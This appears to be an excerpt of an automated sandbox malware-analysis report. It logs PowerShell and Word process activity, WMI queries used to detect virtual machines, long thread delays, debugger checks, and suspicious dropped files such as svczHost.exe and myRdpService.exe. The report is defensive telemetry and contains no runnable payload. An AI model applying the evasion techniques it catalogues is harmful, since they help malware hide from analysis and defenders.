Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE			Jump to behavior

Malware Analysis System Evasion

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDrive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory

Source: C:\Windows\Temp\svczHost.exe	Memory allocated: 1384D440000 memory reserve \| memory write watch
Source: C:\Windows\Temp\myRdpService.exe	Memory allocated: 1988B5A0000 memory reserve \| memory write watch

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 900000			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9891	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9838	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9832	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9905
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 397
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9858
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9650
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9887
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9858
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9816

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.dll

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8604	Thread sleep count: 9832 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8668	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8668	Thread sleep time: -900000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 972	Thread sleep count: 9858 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1236	Thread sleep count: 37 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2064	Thread sleep count: 9650 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5128	Thread sleep count: 228 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7944	Thread sleep count: 9887 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8532	Thread sleep count: 9858 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7552	Thread sleep count: 9816 > 30

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\net1.exe	Last function: Thread delayed
Source: C:\Windows\Temp\myRdpService.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 900000			Jump to behavior

Source: powershell.exe, 0000000D.00000002.4081585775.000002931B7DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 0000000D.00000002.4611068012.0000029332F82000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllY
Source: powershell.exe, 0000000D.00000002.4081585775.000002931B7DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 0000000D.00000002.4510984351.000002932B596000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4924718237.0000013851746000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4934498450.00007FF7B17DB000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: qEMutating a value collection derived from a dictionary is not allowed.Y
Source: svchost.exe, 00000014.00000002.4925863856.00000218F0425000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922162100.00000218EF65F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000004.00000002.3890066229.000002515665B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll--u
Source: powershell.exe, 0000000D.00000002.4081585775.000002931B7DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: powershell.exe, 00000008.00000002.3795029746.0000012F503E8000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4921380329.000001384D111000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
